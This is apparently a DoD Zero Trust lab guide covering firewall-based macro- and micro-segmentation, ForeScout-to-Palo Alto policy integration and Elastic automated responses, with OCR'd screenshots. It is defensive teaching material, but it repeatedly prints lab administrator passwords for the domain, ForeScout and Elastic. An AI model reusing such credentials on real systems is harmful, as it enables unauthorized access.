<) FORESCOUT			🏫 Но	me	🗐 Asset		8	Policy					
Views	« I	Primary Clas	sification >	Windows	Search		Q Mat	ch Unmatched Irres	solvable Pending	Online\Offline ~		3 OF 15	5
Search	Q	Host 🔻	IPv4 Address	Segment	Policy Prima	MAC Address	Comment	Display Name	Switch IP/FQD	Switch Port Ali	Switch Port Na	Function	A
<) All Hosts (15)		ZT/ZTWINSTUD.		ZT	Windows	005056af52eb						Workstation	ľ
✓ III Policies		ZT/ZTWIN10ST	10.91.1.22	ZT	E Windows	005056af6523						Workstation	P
良 Compliance		ZT/ZTLABDC1	10.91.0.10	ZT	E Windows	005056af6f89						Server	1
😤 Corporate/Guests													
> Corporate/Guest Control (0)													
✓ ▶ Primary Classification (15)													
CounterACT Devices (1)	V	Vindows Profile	e Complian	ce All Polic	ies								
NAT Devices (0)													
B Printers (0)	Image: Second												
Filters													

Click on Home, then click on Primary Classification to the left and highlight Windows. On the Right you can see the function of Workstation and Server. As you can see, there is only one server in our environment. You can also coordinate with your Server technicians and get the answer from them, but you will want to double check to identify all resources in your environment. For Lab simplicity we are going to exclude the Linux Servers for now, as their purpose is for security and are inaccessible to the user base.

Data is typically transferred via SMB, FTP, MSFSS-HTTP, or others, so lets login to Palo Alto and check those applications.

After you have logged into Palo Alto, click on the Monitor Tab and select traffic:

🛞 [Filebeat Suricata] Alert 🔿	× 👌	! Security Onion		E. Endgame	×	💤 PA-VM	×	• Cortex XSOAR	×	Directory lis	sting for /	× +		
\leftrightarrow \rightarrow C \textcircled{a}		O 🔓 http	s:// 10.91.0. 7	l/#monitor::vsys1:								☆	G	9 Ł
🏷 Kali Linux 🔒 Kali Tools	Kali Linux 🎓 Kali Tools 👱 Kali Docs 🕱 Kali Forums 🗨 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🄰 OffSec													
🐙 paloalto	P	abbaard	10	hitor Dellair-	Object	ituark Derit						0 4	ammit 🧟 🔯 Care	
NETWORKS [®]	D.	ashboard A	OC MC	Policies	UDJECTS N	elwork Devil	ue -						Manual	ng 45
⊽ Logs	🔍 (app) eq ms-ds-smbv3)											⇒ ×	1 🕀 🎼
Traffic		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port	Application	Action	Rule	Session End Reason	Bytes
WildFire Submissions	Þ	12/20 12:43:44	end	Lab_Network	Lab_Network	10.91.1.22	zt\dod_admin	10.91.0.10	445	ms-ds-smbv3	allow	Allow_Any	tcp-rst-from-client	49.2k
Data Filtering	Þ	12/20 12:40:27	start	Lab_Network	Lab_Network	10.91.1.22	ztldod_admin	10.91.0.10	445	ms-ds-smbv3	allow	Allow_Any	n/a	1.3k
HIP Match	P	12/20 12:37:55	end	Lab_Network	Lab_Network	10.91.1.22		10.91.0.10	445	ms-ds-smbv3	allow	Allow_Any	tcp-rst-from-client	7.3k
A Tunnel Inspection	Þ	12/20 12:37:29	start	Lab_Network	Lab_Network	10.91.1.22		10.91.0.10	445	ms-ds-smbv3	allow	Allow_Any	n/a	1.3k

After you have selected traffic, type in (app eq ms-ds-smbv3) or (app eq ms-ds-smbv2) into the filter and press enter:

	(app eq ms-ds-smbv3) or (app eq ms-ds-smbv2)								
		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port
Þ		12/20 12:45:33	end	Lab_Network	Lab_Network	10.91.1.23	zt\dod_admin	10.91.0.10	445
Þ		12/20 12:45:08	start	Lab_Network	Lab_Network	10.91.1.23	zt\dod_admin	10.91.0.10	445
Þ		12/20 12:43:44	end	Lab_Network	Lab_Network	10.91.1.22	zt\dod_admin	10.91.0.10	445
D		12/20 12:40:27	start	Lab_Network	Lab_Network	10.91.1.22	zt\dod_admin	10.91.0.10	445

Everything looks to be destined to 10.91.0.10. To make sure of it, click on the 10.91.0.10 link and then put a ! in front of it like below:

Note your filter should now be: ((app eq ms-ds-smbv3) or (app eq ms-ds-smbv2)) and !(10.91.0.10)

Make sure the (and)'s are in the correct location.

Zero Trust Lab Guide

۹.	((app	eq ms-ds-smbv3)	or (app eq ms-ds-sn	1bv2))and !(addr.dst i	in 10.91.0.10)					
		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port	Application
Þ		12/20 06:55:17	end	Lab_Network	Lab_Network	10.91.0.21		10.91.1.22	445	ms-ds-smbv3
Þ		12/20 06:55:01	start	Lab_Network	Lab_Network	10.91.0.21		10.91.1.22	445	ms-ds-smbv3
Þ		12/20 06:54:08	end	Lab_Network	Lab_Network	10.91.0.21		10.91.1.22	445	ms-ds-smbv3
Þ		12/20 06:53:53	start	Lab_Network	Lab_Network	10.91.0.21		10.91.1.22	445	ms-ds-smbv3
Þ		12/19 09:15:41	start	Lab_Network	Lab_Network	10.91.0.8	zt\dod_admin	10.91.1.23	445	ms-ds-smbv3
Þ		12/19 09:00:35	start	Lab_Network	Lab_Network	10.91.0.8		10.91.1.23	445	ms-ds-smbv3
Þ		12/19 08:55:49	start	Lab_Network	Lab_Network	10.91.0.8		10.91.1.22	445	ms-ds-smbv3
Þ		12/19 08:45:35	start	Lab_Network	Lab_Network	10.91.0.8		10.91.1.23	445	ms-ds-smbv3
Þ		12/19 08:40:49	start	Lab_Network	Lab_Network	10.91.0.8		10.91.1.22	445	ms-ds-smbv3

It looks like there is some traffic between different clients on the same subnet as well as ForeScout(10.91.0.8) logging into systems. We aren't going to address that traffic yet, but will need to account for it when we start developing our policies.

Below is a simple example of Data Flow Mapping:



Zero Trust is data focused and it is important to understand where your data lies and design your ZT architecture around protecting your data.

5.2 Network and Environment Pillar Lesson 2 (Software Defined Networking (SDN) (Future Course)

Future Course

5.3 Network and Environment Pillar Lesson 3 (Macro Segmentation)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations establish network perimeters and provide security against devices located within an environment by validating the device, user, or NPE on each attempt of accessing a remote resource prior to connection

Prior to attempting the lab, please review Course Slides "Pillar 5 Network and Environment Pillar".

Outcomes

- 1) The student will gain an understanding of macro segmentation and develop a plan.
- Student will configure the Firewall in a Deny-by-default Macro Segmentation state to segment the internal network off from the external subnet (10.91.66.0/24).

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 60 Minutes

Task

5.3.1 Plan for Macro-Segmentation

There are several documents and STIGs within the DoD, such as the Category Assurance List (CAL) that outline requirements for what applications can be authorized through boundaries at different levels.

Macro-Segmentation is the act of segmenting different network environments at a larger (macro) level. In the Army tactical environment, Macro-segmentation typically takes place at the Brigade level, but can be done at lower levels, such as Battalion depending on capabilities.

In a tactical environment, ensuring availability of mission command systems and providing maximum security is important.

We are going to develop a plan to place our architecture in a deny-by-default state for external resources and meet the Macro-segmentation Zero Trust concepts.

We need to identify what resources we need to share with outside organizations in order to meet mission needs.

In our Environment, we don't want our Fileshare to be publicly accessible. I have created some basic services on a Linux system to emulate different services that we are going to configure access to.

10.91.0.21 is hosting the following resources:

<u>http://10.91.0.21:443</u> is hosting a file service over the Web that is used for basic information about the environment, no sensitive data is transferred via this method.

10.91.0.21 TCP port 7777 is a service used for mission command activities.

10.91.0.21 TCP port 8008 is a service used for mission command activities.

We are also going to allow an external IP address to access our internal DNS server over port 53 UDP:

10.91.66.21 to 10.91.0.10 over UDP 53 (DNS)

Nothing else in our environment should be accessible from the external network.

This is a very simplified example compared to your environment where there will be many services that need to be accessed from external entities. VTCs, phones, SharePoint resources are some examples.

Your macro-segmentation policies should be aligned with your RMF policies to ensure that whatever you are allowing through your boundary is approved by your organization and approving official. When you implement macro-segmentation policies, do so with Zero Trust concepts in mind. Only allow exactly what needs to be allowed and nothing more.

5.3.2 Implement Macro-Segmentation Policies with a Palo Alto Next Generation Firewall

Login to either your Windows System or your Kali system and login to the Palo Alto Web interface.

Next, go to the Policies Tab in Palo Alto:

	Dashboard ACC Monitor Policies	Objects	Network	Device				
_								
٩								_
	Name	Tags	Туре	Zone	Address	User	HIP Profile	Zor
1	Inbound_Allow_From_External_To_Internal_DNS	none	universal	🕅 External	5 10.91.66.21	any	any	pa
2	Inbound_Allow_From_External_To_Internal_Web_Share	none	universal	🚧 External	any	any	any	(M)
3	Inbound_Allow_From_External_To_Internal_Mission Command	none	universal	🕅 External	any	any	any	(22)
4	Inbound_Deny_From_External	none	universal	pm External	any	any	any	m
5	Inbound_Command_Group_To_Fileshare_From_Internal	none	universal	2 Lab_Network	5 10.91.1.22	🥵 zt\cmd	any	m
						🙎 zt\pat.maho		
6	Allow_Any	none	universal	any	any	any	any	any
7	Deny_All	none	universal	any	any	any	any	any
8	intrazone-default	none	intrazone	any	any	any	any	(intr
9	interzone-default	none	interzone	any	any	any	any	any

The Firewall Rules have been created already to meet our planning needs from the previous lab.

Our Firewall Rules are named in the following method:

Direction:Action:From:Zone:To:Zone:Function

When you get to your organization, you can utilize a revised version of this, but you need to make sure you are naming your rules in a manner that makes sense to anyone who looks at them.

Rule 1: Inbound_Allow_From_External_To_Internal_DNS: This means we are allowing the External Net access to our Internal DNS Server.

Click on the Rule:

Security Po	olicy Rule							0
General	Source	User	Destination	Application	Service/URL Category	Actions		
	Name	Inbound_A	Allow_From_Exte	rnal_To_Internal	DNS			
	Rule Type	universal (default)					~
D	escription							
	Tags							
	. age							•
							ок	Cancel

Look at the Name of the rule and then **click** on the **Source** Tab:

Security Policy Rule	Ø
General Source User Destination Application	Service/URL Category Actions
Any	Any
Source Zone 🔺	Source Address 🔺
External 🕅	2 5 10.91.66.21
🕂 Add 🗖 Delete	+ Add Delete
	Negate
	OK Cancel

This lists the Source as the External Zone and the address as 10.91.66.21 as outlined in our requirements. Next **click** on the **User** Tab:

Security Policy Rule	0
General Source User Destination Application	Service/URL Category Actions
any 🔽 Source User 🔺	any V
🕂 Add 🛛 🖃 Delete	+ Add Delete
	OK Cancel

We are not going to specify a user in this case because the device is requesting DNS resources and that is fine for our needs. We don't care about the specific user.

Next, click the Destination Tab:

Security Po	olicy Rule			coiú.		0	
General	Source	User	Destination	Application	Service/URL Category	Actions	
select		~			🔲 Алу		
📃 Desti	nation Zone	A			Destination Addres	s 🔺	
🔲 🎮 L	ab_Network				🔲 🔙 10.91.0.10		
🕂 Add	🗕 Delete				🛨 Add 🗖 Delete		
					Negate		
						OK Cancel	

This shows the Destination Zone as the Internal Lab Network with the IP address 10.91.0.10 of our DNS server.

Next click the Application Tab:

Security Po	licy Rule							0
General	Source	User	Destination	Application	Service/URL Category	Actions		
🔲 Any								
🔄 Appli	cations 🔺							
🗖 🖽 d	ns							
🕂 Add	D elete							-
7100								
						1	ок	Cancel

Next, click the Service/URL Category Tab:

Security Policy Rule	0
General Source User Destination Application	Service/URL Category Actions
application-default	🗹 Any
Service 🔺	URL Category 🔺
🛨 Add 🛛 Delete	+ Add Delete
	OK

You will see it listed as application default at the top left. This means that dns is authorized over port 53, but if dns is utilized over a non-standard DNS port, then it will not trigger the rule. Next click on Actions:

Security Po	licy Rule							0	
General	Source	Use	r Destination	Application	T	Service/URL Category	Actions		
- Action S	etting					Log Setting			
	A	Action	Allow		7		🗹 Log at Session Start		
		[Send ICMP Un	reachable			🗹 Log at Session End		
<u>.</u>						Log Forwarding	None	•	
Profile S	etting					Other Settings			
	Profile	Туре	Group		/	Schedule	None	~	
Gr	oup Profile	Allow_	All_Alert		"	QoS Marking	None		
							Disable Server Response Inspe	ction	
							ОК Са	ancel	

The action is to allow the traffic and the Profile setting to the bottom left that utilizes IPS and other next gen features.

Look at the other rules created that are sourced from the External Zone.

Do these rules meet our requirements from the previous lab?

What about outbound traffic? We are covering what is allowed into our environment, but not currently looking at what we are allowed to send to the External Network. Currently it is Allow_Any. We need to address external traffic.

Highlight the rule: Outbound_Allow_From_Internal_To_External and click the drop down arrow and choose Log Viewer.

6	Outbound_Allow_From_Internal_To_External	G	Filter
7	Allow_Any		Log Viewer
8	Deny_All		Move
9	intrazone-default		Clobal Find
10	interzone-default	~	Giobai Find

Now look at the traffic exiting the environment to the external network.

٩ ((rule eq 'Outbound_Allow_From_Internal_To_External')											
		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port	Application	Action	Rule
Þ		12/20 14:50:44	end	Lab_Network	External	10.91.0.7	zt\dod_admin	10.91.66.21	135	incomplete	allow	Outbound_Allo
Þ		12/20 14:50:34	end	Lab_Network	External	10.91.0.7	zt\dod_admin	10.91.66.21	135	incomplete	allow	Outbound_Allo
Þ		12/20 14:50:24	end	Lab_Network	External	10.91.0.7	zt\dod_admin	10.91.66.21	135	incomplete	allow	Outbound_Allo
Þ		12/20 14:50:14	end	Lab_Network	External	10.91.0.7	zt\dod_admin	10.91.66.21	135	incomplete	allow	Outbound_Allo

We aren't going to create additional rules at this time, but to achieve true Macrosegmentation you need to account for traffic leaving your environment. This is Zero Trust, not perimeter defense.

5.4 Network and Environment Pillar Lesson 4 (Micro Segmentation)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations define and document network segmentation based on identity and / or application access in their virtualized cloud environments.

Prior to attempting the lab, please review Course Slides "Pillar 5 Network and Environment Pillar".

Outcomes

- 1) The student will gain an understanding of micro segmentation and develop a micro-segmentation plan.
- 2) Student will implement micro-segmentation on an additional user subnet for Microsoft windows devices.10.91.3.0/24

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourlP	91	

Duration: 60 Minutes

Task

5.4.1 Plan Micro-Segmentation in your Organization

In the previous lab, you configured Macro-segmentation in order to secure your internal security zones against an external security zone.

In this lab, we will introduce you to micro-segmentation techniques.

Traditional Perimeter defense relies on configuring hardened boundaries and allowing traffic to flow freely inside the network, especially for traffic on the same subnet.

Adversaries have been exploiting this flaw in network design for years.

In Zero Trust, we are going to completely eliminate uninspected and unsecured lateral movement.

We currently have the following subnets in our organization:

10.91.0.0/24 Servers

10.91.1.0/24 Clients

10.91.3.0/24 Global Protect Clients (Created for this Lab)

10.91.66.0/24 External Ranges

In this lab, we are going to utilize micro-segmentation techniques to eliminate lateral movement for the client range.

From your **Windows system** on the **10.91.1.0/24 subnet**, attempt to **ping 10.91.1.1** and **10.91.1.22**. You should be successful. Next, **login** to the **Palo Alto Web Interface** and look at the **monitor tab**, with the **source IP address** as your **system** and **application** as **ping** as **seen below**:

PS C:\Users\DoD_Admin> ping 10.91.1.1
Pinging 10.91.1.1 with 32 bytes of data:
Reply from 10.91.1.1: bytes=32 time=2ms TTL=64
Reply from 10.91.1.1: bytes=32 time=26ms TTL=64
Reply from 10.91.1.1: bytes=32 time=16ms TTL=64
Reply from 10.91.1.1: bytes=32 time=18ms TTL=64
Ping statistics for 10.91.1.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 26ms, Average = 15ms
PS C:\Users\DoD_Admin> ping 10.91.1.23
Pinging 10.91.1.23 with 32 bytes of data:
Reply from 10.91.1.23: bytes=32 time<1ms TTL=128
Dashbaard ACC Manitor Policies Objects Natwork Davice
Dashovaru Aco Monton Policies Objects Network Device

•	(addr.src in 10.91.1.22) and (app eq ping)										
		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port	Application	Action
Þ		12/22 14:26:13	end	Lab_Network	Lab_Network	10.91.1.22	zt\dod_admin	10.91.1.1	0	ping	allow
Þ		12/22 14:26:06	start	Lab_Network	Lab_Network	10.91.1.22	zt\dod_admin	10.91.1.1	0	ping	allow

As you can see, the ping to the default gw, 10.91.1.1 was seen by Palo alto, but the ping to 10.91.1.23 or to 10.91.1.22 in your case will not be successful. In our current state, we are unable to view lateral traffic, this is a problem.

In the next section, we are going to fix this with next generation capabilities with Palo Alto.

Å Con

5.4.2 Implement Micro-Segmentation for a Single Subnet with Palo Alto Global Protect

Login to your Windows Machine with the user DoD_Admin and the password ch00\$3tHeR3dP1II!

Next, open the Palo Alto Global Protect agent at the bottom right of your task bar and connect to 10.91.1.1.

10:55 PM
<pre> % paloalto GlobalProtect </pre>
Disconnected
Enter the portal address to connect and secure access to your applications and the internet.
Portal
10.91.1.1
Connect

After about 30 seconds you will successfully connect to the Palo Alto Global Protect Gateway and see the following prompt:



Now, type and enter ipconfig /all in PowerShell.

PS C:\Users\DoD)_Admin> ipconfig /all	
Windows IP Conf	iguration	
Host Name . Primary Dns Node Type . IP Routing E WINS Proxy E DNS Suffix S Ethernet adapte	Suffix	ZTWIN10Student1 zt.local Hybrid No No zt.local
Connection-s Description Physical Add DHCP Enabled Autoconfigur IPv4 Address Subnet Mask Default Gate DHCPv6 IAID DHCPv6 Clier DNS Servers NetBIOS over	pecific DNS Suffix . : mess	PANGP Virtual Ethernet Adapter Secure 02-50-41-00-00-01 No Yes 10.91.3.2(Preferred) 255.255.255.255 0.0.0.0 419582017 00-01-00-01-2A-D0-31-13-00-50-56-AF-4C-A7 10.91.0.10 Enabled
Connection-s Description Physical Add DHCP Enabled Autoconfigur IPv4 Address Subnet Mask Default Gate DNS Servers NetBIOS over	pecific DNS Suffix . : ress	Intel(R) 82574L Gigabit Network Connection #2 00-50-56-AF-65-23 No Yes 10.91.1.22(Preferred) 255.255.255.0 10.91.1.1 10.91.0.10 Enabled

You now have an IP address of 10.91.3.2 (yours will be different) that has connected to the VPN client. Now, attempt to **ping 10.91.1.22** as well as your own **10.91.3.2** and **another IP address** on the **10.91.3.0/24** network, try **10.91.3.3**.



Now look at the monitor tab again in Palo Alto:

											V
٩	(addr	src in 10.91.3.2)	×2	N							
		Receive Time	Туре	From Zone	To Zone	Source	Source User	Destination	To Port	Application	Action
F)	12/22 15:33:03	start	Global_Protect	Global_Protect	10.91.3.2	dod_admin	10.91.3.3	0	ping	allow

Look, we are able to see the lateral movement between two different devices on the same subnet. Now, all clients in our environment that utilize Global Protect will be utilizing micro-segmentation and we can then apply policy to them to prevent activity against other clients.

There are other methods of achieving micro-segmentation, such as utilizing VDI solutions, Software Defined Networking, Host Based Firewalls, and even creating /30 subnets within Palo Alto to force routing of all connections to a host.

If you have issues with the lab, try to restart the PanGPS service:

PanGPS Palo Alto N... Running Automatic Local Syste...

Before moving to the next lab, please **disconnect** from the **Global Protect Gateway** to prevent issues with future labs.

If you are curious and want to know how the back end configuration of Palo Alto Global Protect was setup, please visit: <u>https://docs.paloaltonetworks.com/globalprotect/9-</u> <u>1/globalprotect-admin/globalprotect-quick-configs/remote-access-vpn-authentication-profile</u>

The goal of this lab is not to teach a specific how to, but to get the student to understand the concept of micro-segmentation and to utilize it in their own environments and expand upon the knowledge learned here.

6. Zero Trust Pillar 6- Automation and Orchestration

Automation and Orchestration:

The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Policy Inventory & Development
- Organization Access Profile
- Enterprise Security Profile Pt1

- Enterprise Security Profile Pt2
- Task Automation Analysis
- Enterprise Integration & Workflow Provisioning Pt1
- Enterprise Integration & Workflow Provisioning Pt2
- Implement Data Tagging & Classification ML Tools
- Implement AI automation tools
- Al Driven by Analytics decides A&O modifications
- Response Automation Analysis
- Implement SOAR Tools
- Implement Playbooks
- Tool Compliance Analysis
- Standardized API Calls & Schemas Pt1
- Standardized API Calls & Schemas Pt2
- Workflow Enrichment Pt1
- Workflow Enrichment Pt2
- Workflow Enrichment Pt3
- Automated Workflow

6.1 Automation and Orchestration Pillar Lesson 1 (Policy Decision Point & Policy Orchestration)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations initially collect and document all rule based policies to orchestrate across the security stack for effective automation; DAAS access procedures and policies will be defined, implemented, and updated. Organizations mature this capability by establishing PDPs and PEPs (including the Next Generation Firewall) to make DAAS resource determinations and enable, monitor, and terminate connections between a user/device and DAAS resources according to predefined policy.

Prior to attempting the lab, please review Course Slides "Pillar 6 Automation and Orchestration Pillar".

Outcomes

- 1) The student will gain an understanding of policy decision points and policy enforcement points.
- 2) Student will configure policy decisions and policy enforcement on ForeScout and a Palo Alto Next Gen Firewall.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 60 Minutes

Task

6.1.1 Planning Policy Decision Points and Policy Enforcement Points

A Policy Decision Point is a location in your Zero Trust architecture that makes access decisions based on either static or dynamic policy. Static policy is manual policy creation, such as assigning permissions based on IP address, User, or device to resources, ports and data. Dynamic policy takes device health, user behaviors and the threat environment into play and makes decisions based on changes to trust level.

A Policy Enforcement Point enforces policy by making block and allow actions based on determined policy. A Policy Enforcement Point has it's own policy in many cases, but also receives policy decisions from other capabilities within the environment. Once it receies a policy decision, it is typically the central location where access decisions occur.

In our environment we are going to utilize a single Policy Enforcement Point (Palo Alto Next Gen FW) and identify what Policy Decision Points we can utilize to improve our enforcement point with maximum options.

In order for the Policy Enforcement Point to receive information from Policy Decision Points, you need Orchestration and Automation to tie the capabilities together.

In our example, we are going to use our Palo Alto as the Policy Enforcement Point and ForeScout as the Policy Decision Point. Elastic and Endgame are other capabilities that can be utilized as Policy Decision Points, but require integration with a policy enforcement point. Endgame can also be used as a host based Policy Enforcement point, but strictly for Threat events and actions than can be created with EQL Rules.

6.1.2 Configuring Policy Decision Points and Policy Enforcement Points

Login to your Windows system as DoD_Admin with the password ch00\$3tHeR3dP1II!

Next, **open** up your **ForeScout console** and **login** as **admin** with the password **ch00\$3tHeR3dP1II**!

Next click on Policy:

<) FORESCO	DUT.		🏫 Home	E A	sset Inventory	Policy		∽" Dashboards •••	
Policy Folders	Policy Manager		Search	Q	🗹 Show subfolder pol	licies			
+ 🖉 🗊 🏥 😃	Name	Category	Status	User Scope	Segments	Groups	Exceptions	Conditions	Actions
Policy	✓ Corporate/Guest Control	Corporate/Guest Contro	ol 💷	Complete	10.91.0.0-10.91.10.3	255 Linux/Unix, Macintosh,		No Conditions	
	Corporate Hosts	Corporate						Authentication Login:	. `88
	Signed-in Guests	Authorized Guest						(Logged In Status: L.	. 188
	Guest Hosts	Unauthorized Guest						No Conditions	Ф. 🖓 🖬 🕻
	\sim Malicious File Identified	None		Complete	All IPv4,All IPv6			No Conditions	
	Malicious File Exists							Windows File Exists Fi.	🎥
	✓ Primary Classification	Classification		Complete	10.91.0.0-10.91.10.	255		No Conditions	
									No.

Policy: 'Mali	cious File lo	dentified' -				\times
Name Name	Malicious	File Identified		_		
Description	None.				Ealt	
Scope		II IPv6		_		
Filter by Group	None				Edit	
Exceptions	None.					
Main Rule						
Conditions		Actions	Re-check Mat	ched	Edit	
No Conditions			Every 8 hours,			
Sub-Rules	5					
Name	С	conditions	Actions	Exceptions	<u>A</u> dd	
1 Malicio	us File E: W	/indows File Exists File N	a 🎥		Edit	
					Remove	
					<u>D</u> uplicate	
					Up	
					D <u>o</u> wn	
				Help C	ok Cance	≥I

Next, click on Malicious File Identified and press Edit:

This is a basic example of dynamic policy. If a malicious file exists, it will apply a policy to a device, but if it doesn't, it won't apply to it. Next, **click** the **Sub-Rule** and **click** on **Edit**:

Policy: 'Malic	ious File Identified'>Sub-Rule: 'Mali	cious File Exists' -	×
Name Name Ma Description No	licious File Exists ne.		<u>E</u> dit
Condition			
A host matches	this rule if it meets the following cond	lition:	
All criteria are T	rue 🗸	8 8	ŝ
Criteria			<u>A</u> dd
Windows File Ex	xists File Name (full path):C:\AGM\PA	bct	Edit
			<u>R</u> emove
Actions Actions are appl	ied to hosts matching the above con	dition.	Add
Ena Action		Details	Aaa
🔽 👫 Firev	wall - Tag Endpoint	Firewall - Ta	<u>E</u> dit <u>R</u> emove
Advanced Recheck match Exceptions	Every 8 hours, All admissions None.		<u>E</u> dit
		<u>H</u> elp OK	Cancel

The condition is that if a file exists in the location: C:\AGM\PA.txt then ForeScout will tell Palo Alto to Tag the Endpoint to make a policy decision. Next, **click** on **Firewall – Tag Endpoint** and **click** on **Edit**:

Action		
Search Q	This action adds a tag to the	e endpoint. The tag is then matched to Firewall Dynamic Address Gro
💒 Firewall - Tag Endpoint	Parameters Schodulo	
🚜 Panorama - Create App-ID		
🚜 Panorama - Create Security Po	Tag	Test
🐠 Panorama - Map IP to User-ID	Specify one or more Firewa	lls
🚽 Panorama - Tag Endpoint	 Send to specific firewalls 	IS
Remediate		

The tag we are using here is Test, but it would be something like "Unhealthy" or "Compromised" depending on what policy you create. Note, we are using a simple file, but once you have integration with more data sources and have matured your environment, you can create more advanced dynamic policies and automated fix actions. Another action we could do, would be to just tell ForeScout to delete the malicious file when it is identified, however we want to show how orchestration works between different capabilities.

Login to the Palo Alto Web interface and go to Objects and then click on the Test Object Group:

Address Group		0 🗆
Name	Test	
Description		
Туре	Dynamic	-
Match	'Test'	
	+ Add Match Criteria	
Tags		-
	ОК Сапсе	1

The address group is dynamic and changes members based on tags that are sent via API calls. Prior to the lab, I setup API integration with ForeScout and Palo Alto in order to get the integration to work. **Hit** the **OK** button. Under **Addresses** you will see a **more... button**, **click** on it to **see** the number of **dynamic addresses** assigned to the **Test Address Group**.

tion	Member	s Count	Addresses
Address Groups - Te	st	0	more
		1 item 🔿 🗙	
Address 🔺	Туре	Action	
10.91.1.22	registered-ip	Unregister Tags	
		Close	
		Ciose	

Hit close and then go to the **Policies** tab and look at **the rule Inbound_Allow_From_Unhealthy_System**:

3 Inbound_Allow_From_Unhealthy_System not	ione universal	any	😝 Test	any	any	any	any
---	----------------	-----	--------	-----	-----	-----	-----

You can see that the Object Group "Test" has been assigned to a Policy. The policy is currently set to Allow any any for lab functionality, however you can set this policy to deny access to the Test group to protect the network. Imagine the advanced automated actions that you can utilize with this ForeScout and Palo Alto integration. More advanced actions can be applied with an Elastic SIEM with SOAR integration.

6.2 Automation and Orchestration Pillar Lesson 2 (Critical Process Automation) (Future Course)

Future Course

6.3 Automation and Orchestration Pillar Lesson 3 (Machine Learning) (Future Course)

Future Course

6.4 Automation and Orchestration Pillar Lesson 4 (Artificial Intelligence) (Future Course)

Future Course

6.5 Automation and Orchestration Pillar Lesson 5 (Security Orchestration, Automation & Response (SOAR))

Background

Per the DoD ZT Capabilities and Activities: DoD organizations achieve IOC of security technologies to orchestrate and automate policies (e.g., PEPs and PDPs) and rulesets to improve security operations, threat and vulnerability management, and security incident response by ingesting alert data, triggering playbooks for automated response and remediation.

Prior to attempting the lab, please review Course Slides "Pillar 6 Automation and Orchestration Pillar".

Outcomes

- 1) The student will gain an understanding of security orchestration, automation and response.
- 2) Student will configure Elastic Security Rules to create Security Orchestration, Automation and Response actions.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

Duration: 60 Minutes

Task

6.5.1 Planning Security Orchestration, Automation and Response

The **first step** is to configure integration between your security tools to allow you to conduct automated responses.

The **second step** is to then identify which types of alerts or security events that you want to automate. You will want to look at how you operate and which events consume the most time, and which can be automated. Also look at which events are most critical and you want to improve your response time.

The **third step** is then to start creating your automated response actions and test them until they become part of your daily security operations and ingrained in your Security Operations Center (SOC).

6.5.2 Configure Elastic Stack Rules for Automated Security Responses

Login to either your Windows system or your Kali Linux system.

Open Firefox and **login** to **Elastic** (Note: Kibana is the Web interface service name) <u>https://lab12345csyi.zt.local:5601</u> with the username **elastic** and the password: **ch00\$3eL@\$t1c**



Next, **click** the **three horizontal lines** at the **top left** and scroll down to **Security** and **click** on **Alerts**:



Now click on the Rules Button on the left side under Alerts:



Under Rule Name, type Injection and press Enter:

Rule	es Rule Monitoring								
	I rules ted 30 seconds ago				Q Injection	۵	Tags	45 V Elastic rules (608)	Custom rules (2)
Show	Rule Selected 0 rules	Bulk actions ~ Risk score	C Refresh Refres	h settings ∽ Last run	Last response	Last updated	Version	Tags	Activated ψ
	Image File Execution Options Injection	41	 Medium 	8 minutes ago	 succeeded 	Oct 21, 2022 @ 14:55:37.454	4	Elastic Host Persistence See all	
	Process Injection - Detected - Elastic Endgame	73	• High	6 minutes ago	 succeeded 	Dec 23, 2022 @ 14:18:40.663	6	Elastic Elastic Endgame	
	Process Injection - Prevented - Elastic Endgame	47	• Medium	5 minutes ago	succeeded	Oct 21, 2022 @ 14:29:29.055	6	Elastic Elastic Endgame	~
	Process Injection by the Microsoft Build Engine	21	• Low	4 minutes ago	 succeeded 	Oct 21, 2022 @ 14:55:37.394	5	Defense Evasion Elastic Host See all	

Next, click on Process Injection – Detected – Elastic Endgame:

And then click on Edit rule settings:

Rules Process Injection - Detected - Elastic Endgame Created by: elastic on Oct 21, 2022 @ 13:14:45.932 Updated by: elastic on Dec 23, 2022 @ 14:18:40.663 Last response: • succeeded at Dec 23, 2022 @ 16:55:07.348 C	C Activate	Section 2 Sectio
Next, click on Actions :		
< Back to Process Injection - Detected - Elastic Endgame		
Edit rule settings		
Definition About Schedule Actions		
Actions		
Actions frequency		
On each rule execution		~
Select when automated actions should be performed if a rule evaluates as true.		

These actions allow you to create automated response actions whenever the alert triggers. There are numerous connectors that allow you to create automated actions. It can send e-mails to distribution groups, add information to a specific Elastic Index that allows for immediate actions, Send messages or utilize Microsoft Teams actions and many other functions.

Select a conr	nector type						
\square	IBM	ē	٨	qj	P	now	now
Email	IBM Resilient	Index	Jira	Microsoft Teams	PagerDuty	ServiceNow ITOM	ServiceNow ITSM
now	-	4	A				
ServiceNow SecOps	Slack	Swimlane	Webhook				

We are going to utilize a Webhook in our test example.

tions frequency	
On each rule execution	~
lect when automated actions should be performed if a rule evaluates as true.	
ctions	
